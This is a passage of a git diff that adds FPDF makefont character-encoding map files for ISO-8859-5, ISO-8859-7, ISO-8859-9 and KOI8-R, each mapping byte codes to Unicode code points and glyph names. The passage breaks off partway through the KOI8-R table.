Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0080 .notdef +!81 U+0081 .notdef +!82 U+0082 .notdef +!83 U+0083 .notdef +!84 U+0084 .notdef +!85 U+0085 .notdef +!86 U+0086 .notdef +!87 U+0087 .notdef +!88 U+0088 .notdef +!89 U+0089 .notdef +!8A U+008A .notdef +!8B U+008B .notdef +!8C U+008C .notdef +!8D U+008D .notdef +!8E U+008E .notdef +!8F U+008F .notdef +!90 U+0090 .notdef +!91 U+0091 .notdef +!92 U+0092 .notdef +!93 U+0093 .notdef +!94 U+0094 .notdef +!95 U+0095 .notdef +!96 U+0096 .notdef +!97 U+0097 .notdef +!98 U+0098 .notdef +!99 U+0099 .notdef +!9A U+009A .notdef +!9B U+009B .notdef +!9C U+009C .notdef +!9D U+009D .notdef +!9E U+009E .notdef +!9F U+009F .notdef +!A0 U+00A0 space +!A1 U+0104 Aogonek +!A2 U+0138 kgreenlandic +!A3 U+0156 Rcommaaccent +!A4 U+00A4 currency +!A5 U+0128 Itilde +!A6 U+013B Lcommaaccent +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+0160 Scaron +!AA U+0112 Emacron +!AB U+0122 Gcommaaccent +!AC U+0166 Tbar +!AD U+00AD hyphen +!AE U+017D Zcaron +!AF U+00AF macron +!B0 U+00B0 degree +!B1 U+0105 aogonek +!B2 U+02DB ogonek +!B3 U+0157 rcommaaccent +!B4 U+00B4 acute +!B5 U+0129 itilde +!B6 U+013C lcommaaccent +!B7 U+02C7 caron +!B8 U+00B8 cedilla +!B9 U+0161 scaron +!BA U+0113 emacron +!BB U+0123 gcommaaccent +!BC U+0167 tbar +!BD U+014A Eng +!BE U+017E zcaron +!BF U+014B eng +!C0 U+0100 Amacron +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+00C3 Atilde +!C4 U+00C4 Adieresis +!C5 U+00C5 Aring +!C6 U+00C6 AE +!C7 U+012E Iogonek +!C8 U+010C Ccaron +!C9 U+00C9 Eacute +!CA U+0118 Eogonek +!CB U+00CB Edieresis +!CC U+0116 Edotaccent +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+012A Imacron +!D0 U+0110 Dcroat +!D1 U+0145 Ncommaaccent +!D2 U+014C Omacron +!D3 U+0136 Kcommaaccent +!D4 U+00D4 Ocircumflex +!D5 U+00D5 Otilde +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+00D8 Oslash +!D9 U+0172 Uogonek +!DA U+00DA Uacute +!DB U+00DB Ucircumflex +!DC U+00DC Udieresis +!DD U+0168 Utilde +!DE U+016A Umacron +!DF U+00DF germandbls +!E0 U+0101 amacron +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+00E3 atilde +!E4 U+00E4 adieresis +!E5 U+00E5 aring +!E6 U+00E6 ae +!E7 U+012F iogonek +!E8 U+010D ccaron +!E9 U+00E9 eacute +!EA U+0119 eogonek +!EB U+00EB edieresis +!EC U+0117 edotaccent +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+012B imacron +!F0 U+0111 dcroat +!F1 U+0146 ncommaaccent +!F2 U+014D omacron +!F3 U+0137 kcommaaccent +!F4 U+00F4 ocircumflex +!F5 U+00F5 otilde +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+00F8 oslash +!F9 U+0173 uogonek +!FA U+00FA uacute +!FB U+00FB ucircumflex +!FC U+00FC udieresis +!FD U+0169 utilde +!FE U+016B umacron +!FF U+02D9 dotaccent diff --git a/tools/fpdf/font/makefont/iso-8859-5.map b/tools/fpdf/font/makefont/iso-8859-5.map new file mode 100755 index 0000000..f9cd4ed --- /dev/null +++ b/tools/fpdf/font/makefont/iso-8859-5.map @@ -0,0 +1,256 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0080 .notdef +!81 U+0081 .notdef +!82 U+0082 .notdef +!83 U+0083 .notdef +!84 U+0084 .notdef +!85 U+0085 .notdef +!86 U+0086 .notdef +!87 U+0087 .notdef +!88 U+0088 .notdef +!89 U+0089 .notdef +!8A U+008A .notdef +!8B U+008B .notdef +!8C U+008C .notdef +!8D U+008D .notdef +!8E U+008E .notdef +!8F U+008F .notdef +!90 U+0090 .notdef +!91 U+0091 .notdef +!92 U+0092 .notdef +!93 U+0093 .notdef +!94 U+0094 .notdef +!95 U+0095 .notdef +!96 U+0096 .notdef +!97 U+0097 .notdef +!98 U+0098 .notdef +!99 U+0099 .notdef +!9A U+009A .notdef +!9B U+009B .notdef +!9C U+009C .notdef +!9D U+009D .notdef +!9E U+009E .notdef +!9F U+009F .notdef +!A0 U+00A0 space +!A1 U+0401 afii10023 +!A2 U+0402 afii10051 +!A3 U+0403 afii10052 +!A4 U+0404 afii10053 +!A5 U+0405 afii10054 +!A6 U+0406 afii10055 +!A7 U+0407 afii10056 +!A8 U+0408 afii10057 +!A9 U+0409 afii10058 +!AA U+040A afii10059 +!AB U+040B afii10060 +!AC U+040C afii10061 +!AD U+00AD hyphen +!AE U+040E afii10062 +!AF U+040F afii10145 +!B0 U+0410 afii10017 +!B1 U+0411 afii10018 +!B2 U+0412 afii10019 +!B3 U+0413 afii10020 +!B4 U+0414 afii10021 +!B5 U+0415 afii10022 +!B6 U+0416 afii10024 +!B7 U+0417 afii10025 +!B8 U+0418 afii10026 +!B9 U+0419 afii10027 +!BA U+041A afii10028 +!BB U+041B afii10029 +!BC U+041C afii10030 +!BD U+041D afii10031 +!BE U+041E afii10032 +!BF U+041F afii10033 +!C0 U+0420 afii10034 +!C1 U+0421 afii10035 +!C2 U+0422 afii10036 +!C3 U+0423 afii10037 +!C4 U+0424 afii10038 +!C5 U+0425 afii10039 +!C6 U+0426 afii10040 +!C7 U+0427 afii10041 +!C8 U+0428 afii10042 +!C9 U+0429 afii10043 +!CA U+042A afii10044 +!CB U+042B afii10045 +!CC U+042C afii10046 +!CD U+042D afii10047 +!CE U+042E afii10048 +!CF U+042F afii10049 +!D0 U+0430 afii10065 +!D1 U+0431 afii10066 +!D2 U+0432 afii10067 +!D3 U+0433 afii10068 +!D4 U+0434 afii10069 +!D5 U+0435 afii10070 +!D6 U+0436 afii10072 +!D7 U+0437 afii10073 +!D8 U+0438 afii10074 +!D9 U+0439 afii10075 +!DA U+043A afii10076 +!DB U+043B afii10077 +!DC U+043C afii10078 +!DD U+043D afii10079 +!DE U+043E afii10080 +!DF U+043F afii10081 +!E0 U+0440 afii10082 +!E1 U+0441 afii10083 +!E2 U+0442 afii10084 +!E3 U+0443 afii10085 +!E4 U+0444 afii10086 +!E5 U+0445 afii10087 +!E6 U+0446 afii10088 +!E7 U+0447 afii10089 +!E8 U+0448 afii10090 +!E9 U+0449 afii10091 +!EA U+044A afii10092 +!EB U+044B afii10093 +!EC U+044C afii10094 +!ED U+044D afii10095 +!EE U+044E afii10096 +!EF U+044F afii10097 +!F0 U+2116 afii61352 +!F1 U+0451 afii10071 +!F2 U+0452 afii10099 +!F3 U+0453 afii10100 +!F4 U+0454 afii10101 +!F5 U+0455 afii10102 +!F6 U+0456 afii10103 +!F7 U+0457 afii10104 +!F8 U+0458 afii10105 +!F9 U+0459 afii10106 +!FA U+045A afii10107 +!FB U+045B afii10108 +!FC U+045C afii10109 +!FD U+00A7 section +!FE U+045E afii10110 +!FF U+045F afii10193 diff --git a/tools/fpdf/font/makefont/iso-8859-7.map b/tools/fpdf/font/makefont/iso-8859-7.map new file mode 100755 index 0000000..e163796 --- /dev/null +++ b/tools/fpdf/font/makefont/iso-8859-7.map @@ -0,0 +1,250 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0080 .notdef +!81 U+0081 .notdef +!82 U+0082 .notdef +!83 U+0083 .notdef +!84 U+0084 .notdef +!85 U+0085 .notdef +!86 U+0086 .notdef +!87 U+0087 .notdef +!88 U+0088 .notdef +!89 U+0089 .notdef +!8A U+008A .notdef +!8B U+008B .notdef +!8C U+008C .notdef +!8D U+008D .notdef +!8E U+008E .notdef +!8F U+008F .notdef +!90 U+0090 .notdef +!91 U+0091 .notdef +!92 U+0092 .notdef +!93 U+0093 .notdef +!94 U+0094 .notdef +!95 U+0095 .notdef +!96 U+0096 .notdef +!97 U+0097 .notdef +!98 U+0098 .notdef +!99 U+0099 .notdef +!9A U+009A .notdef +!9B U+009B .notdef +!9C U+009C .notdef +!9D U+009D .notdef +!9E U+009E .notdef +!9F U+009F .notdef +!A0 U+00A0 space +!A1 U+2018 quoteleft +!A2 U+2019 quoteright +!A3 U+00A3 sterling +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+00A9 copyright +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AF U+2015 afii00208 +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+0384 tonos +!B5 U+0385 dieresistonos +!B6 U+0386 Alphatonos +!B7 U+00B7 periodcentered +!B8 U+0388 Epsilontonos +!B9 U+0389 Etatonos +!BA U+038A Iotatonos +!BB U+00BB guillemotright +!BC U+038C Omicrontonos +!BD U+00BD onehalf +!BE U+038E Upsilontonos +!BF U+038F Omegatonos +!C0 U+0390 iotadieresistonos +!C1 U+0391 Alpha +!C2 U+0392 Beta +!C3 U+0393 Gamma +!C4 U+0394 Delta +!C5 U+0395 Epsilon +!C6 U+0396 Zeta +!C7 U+0397 Eta +!C8 U+0398 Theta +!C9 U+0399 Iota +!CA U+039A Kappa +!CB U+039B Lambda +!CC U+039C Mu +!CD U+039D Nu +!CE U+039E Xi +!CF U+039F Omicron +!D0 U+03A0 Pi +!D1 U+03A1 Rho +!D3 U+03A3 Sigma +!D4 U+03A4 Tau +!D5 U+03A5 Upsilon +!D6 U+03A6 Phi +!D7 U+03A7 Chi +!D8 U+03A8 Psi +!D9 U+03A9 Omega +!DA U+03AA Iotadieresis +!DB U+03AB Upsilondieresis +!DC U+03AC alphatonos +!DD U+03AD epsilontonos +!DE U+03AE etatonos +!DF U+03AF iotatonos +!E0 U+03B0 upsilondieresistonos +!E1 U+03B1 alpha +!E2 U+03B2 beta +!E3 U+03B3 gamma +!E4 U+03B4 delta +!E5 U+03B5 epsilon +!E6 U+03B6 zeta +!E7 U+03B7 eta +!E8 U+03B8 theta +!E9 U+03B9 iota +!EA U+03BA kappa +!EB U+03BB lambda +!EC U+03BC mu +!ED U+03BD nu +!EE U+03BE xi +!EF U+03BF omicron +!F0 U+03C0 pi +!F1 U+03C1 rho +!F2 U+03C2 sigma1 +!F3 U+03C3 sigma +!F4 U+03C4 tau +!F5 U+03C5 upsilon +!F6 U+03C6 phi +!F7 U+03C7 chi +!F8 U+03C8 psi +!F9 U+03C9 omega +!FA U+03CA iotadieresis +!FB U+03CB upsilondieresis +!FC U+03CC omicrontonos +!FD U+03CD upsilontonos +!FE U+03CE omegatonos diff --git a/tools/fpdf/font/makefont/iso-8859-9.map b/tools/fpdf/font/makefont/iso-8859-9.map new file mode 100755 index 0000000..48c123a --- /dev/null +++ b/tools/fpdf/font/makefont/iso-8859-9.map @@ -0,0 +1,256 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0080 .notdef +!81 U+0081 .notdef +!82 U+0082 .notdef +!83 U+0083 .notdef +!84 U+0084 .notdef +!85 U+0085 .notdef +!86 U+0086 .notdef +!87 U+0087 .notdef +!88 U+0088 .notdef +!89 U+0089 .notdef +!8A U+008A .notdef +!8B U+008B .notdef +!8C U+008C .notdef +!8D U+008D .notdef +!8E U+008E .notdef +!8F U+008F .notdef +!90 U+0090 .notdef +!91 U+0091 .notdef +!92 U+0092 .notdef +!93 U+0093 .notdef +!94 U+0094 .notdef +!95 U+0095 .notdef +!96 U+0096 .notdef +!97 U+0097 .notdef +!98 U+0098 .notdef +!99 U+0099 .notdef +!9A U+009A .notdef +!9B U+009B .notdef +!9C U+009C .notdef +!9D U+009D .notdef +!9E U+009E .notdef +!9F U+009F .notdef +!A0 U+00A0 space +!A1 U+00A1 exclamdown +!A2 U+00A2 cent +!A3 U+00A3 sterling +!A4 U+00A4 currency +!A5 U+00A5 yen +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+00A9 copyright +!AA U+00AA ordfeminine +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+00AF macron +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+00B4 acute +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+00B8 cedilla +!B9 U+00B9 onesuperior +!BA U+00BA ordmasculine +!BB U+00BB guillemotright +!BC U+00BC onequarter +!BD U+00BD onehalf +!BE U+00BE threequarters +!BF U+00BF questiondown +!C0 U+00C0 Agrave +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+00C3 Atilde +!C4 U+00C4 Adieresis +!C5 U+00C5 Aring +!C6 U+00C6 AE +!C7 U+00C7 Ccedilla +!C8 U+00C8 Egrave +!C9 U+00C9 Eacute +!CA U+00CA Ecircumflex +!CB U+00CB Edieresis +!CC U+00CC Igrave +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+00CF Idieresis +!D0 U+011E Gbreve +!D1 U+00D1 Ntilde +!D2 U+00D2 Ograve +!D3 U+00D3 Oacute +!D4 U+00D4 Ocircumflex +!D5 U+00D5 Otilde +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+00D8 Oslash +!D9 U+00D9 Ugrave +!DA U+00DA Uacute +!DB U+00DB Ucircumflex +!DC U+00DC Udieresis +!DD U+0130 Idotaccent +!DE U+015E Scedilla +!DF U+00DF germandbls +!E0 U+00E0 agrave +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+00E3 atilde +!E4 U+00E4 adieresis +!E5 U+00E5 aring +!E6 U+00E6 ae +!E7 U+00E7 ccedilla +!E8 U+00E8 egrave +!E9 U+00E9 eacute +!EA U+00EA ecircumflex +!EB U+00EB edieresis +!EC U+00EC igrave +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+00EF idieresis +!F0 U+011F gbreve +!F1 U+00F1 ntilde +!F2 U+00F2 ograve +!F3 U+00F3 oacute +!F4 U+00F4 ocircumflex +!F5 U+00F5 otilde +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+00F8 oslash +!F9 U+00F9 ugrave +!FA U+00FA uacute +!FB U+00FB ucircumflex +!FC U+00FC udieresis +!FD U+0131 dotlessi +!FE U+015F scedilla +!FF U+00FF ydieresis diff --git a/tools/fpdf/font/makefont/koi8-r.map b/tools/fpdf/font/makefont/koi8-r.map new file mode 100755 index 0000000..6ad5d05 --- /dev/null +++ b/tools/fpdf/font/makefont/koi8-r.map @@ -0,0 +1,256 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+2500 SF100000 +!81 U+2502 SF110000 +!82 U+250C SF010000 +!83 U+2510 SF030000 +!84 U+2514 SF020000 +!85 U+2518 SF040000 +!86 U+251C SF080000 +!87 U+2524 SF090000 +!88 U+252C SF060000 +!89 U+2534 SF070000 +!8A U+253C SF050000 +!8B U+2580 upblock +!8C U+2584 dnblock +!8D U+2588 block +!8E U+258C lfblock +!8F U+2590 rtblock +!90 U+2591 ltshade +!91 U+2592 shade +!92 U+2593 dkshade +!93 U+2320 integraltp +!94 U+25A0 filledbox +!95 U+2219 periodcentered +!96 U+221A radical +!97 U+2248 approxequal +!98 U+2264 lessequal +!99 U+2265 greaterequal +!9A U+00A0 space +!9B U+2321 integralbt +!9C U+00B0 degree +!9D U+00B2 twosuperior +!9E U+00B7 periodcentered +!9F U+00F7 divide +!A0 U+2550 SF430000 +!A1 U+2551 SF240000 +!A2 U+2552 SF510000 +!A3 U+0451 afii10071 +!A4 U+2553 SF520000 +!A5 U+2554 SF390000 +!A6 U+2555 SF220000 +!A7 U+2556 SF210000 +!A8 U+2557 SF250000 +!A9 U+2558 SF500000 +!AA U+2559 SF490000 +!AB U+255A SF380000 +!AC U+255B SF280000 +!AD U+255C SF270000 +!AE U+255D SF260000 +!AF U+255E SF360000 +!B0 U+255F SF370000 +!B1 U+2560 SF420000 +!B2 U+2561 SF190000 +!B3 U+0401 afii10023 +!B4 U+2562 SF200000 +!B5 U+2563 SF230000 +!B6 U+2564 SF470000 +!B7 U+2565 SF480000 +!B8 U+2566 SF410000 +!B9 U+2567 SF450000 +!BA U+2568 SF460000 +!BB U+2569 SF400000 +!BC U+256A SF540000 +!BD U+256B SF530000 +!BE U+256C SF440000 +!BF U+00A9 copyright +!C0 U+044E afii10096 +!C1 U+0430 afii10065 +!C2 U+0431 afii10066 +!C3 U+0446 afii10088 +!C4 U+0434 afii10069 +!C5 U+0435 afii10070 +!C6 U+0444 afii10086 +!C7 U+0433 afii10068 +!C8 U+0445 afii10087 +!C9 U+0438 afii10074 +!CA U+0439 afii10075 +!CB U+043A afii10076 +!CC U+043B afii10077 +!CD U+043C afii10078 +!CE U+043D afii10079 +!CF U+043E afii10080 +!D0 U+043F afii10081 +!D1 U+044F afii10097 +!D2 U+0440 afii10082 +!D3 U+0441 afii10083 +!D4 U+0442 afii10084 +!D5 U+0443 afii10085 +!D6 U+0436 afii10072 +!D7 U+0432 afii10067 +!D8 U+044C afii10094 +!D9 U+044B afii10093 +!DA U+0437 afii10073 +!DB U+0448 afii10090 +!DC U+044D afii10095 +!DD U+0449 afii10091 +!DE U+0447 afii10089 +!DF U+044A afii10092 +!E0 U+042E afii10048 +!E1 U+0410 afii10017 +!E2 U+0411 afii10018 +!E3 U+0426 afii10040 +!E4 U+0414 afii10021 +!E5 U+0415 afii10022 +!E6 U+0424 afii10038 +!E7 U+0413 afii10020 +!E8 U+0425 afii10039 +!E9 